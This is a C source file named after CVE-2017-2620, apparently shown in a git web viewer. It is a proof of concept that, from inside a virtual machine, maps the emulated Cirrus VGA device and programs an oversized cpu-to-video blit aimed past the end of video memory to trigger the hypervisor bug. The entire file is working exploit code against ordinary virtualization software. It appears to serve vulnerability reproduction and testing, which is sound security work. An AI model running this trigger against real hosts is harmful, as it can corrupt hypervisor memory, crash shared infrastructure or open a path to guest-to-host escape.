summaryrefslogtreecommitdiffstats
path: root/cve-2017-2620.c
blob: 724f95fc2903796c516a935017a2afde00543bec (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

#include "pci.h"
#include "cirrus.h"

int main(int argc, char *argv[])
{
    volatile uint8_t *mmio, *blit;
    int i;

    find_device("cirrus", 0x1013, 0x00b8);
    mmio = mmap_bar(1);
    blit = mmap_bar(0);
    fprintf(stderr, "init ok\n");
    sleep(1);

    cirrus_setmode(mmio);

    fprintf(stderr, "trying invalid cpu-to-video blit\n");
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;

#if 0
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH)     = 1024 * 3  - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT)    = 1         - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH)  = 1024 * 3;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR)  = 16 * 1024 * 1024 - 1;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR)   = 0;
#else
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH)     = 3         - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT)    = 1024 * 7  - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH)  = 1024 * 3;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR)  = 16 * 1024 * 1024 - 4;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR)   = 0;
#endif

    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
        CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_MEMSYSSRC;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP]     = CIRRUS_ROP_SRC;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS]  = CIRRUS_BLT_START;

    fprintf(stderr, "setup done\n");
    sleep(1);

    for (i = 0; i < 1024 * 7 * 3; i++)
        blit[i] = 0;
    fprintf(stderr, "blit done\n");
    sleep(1);

    exit(0);
}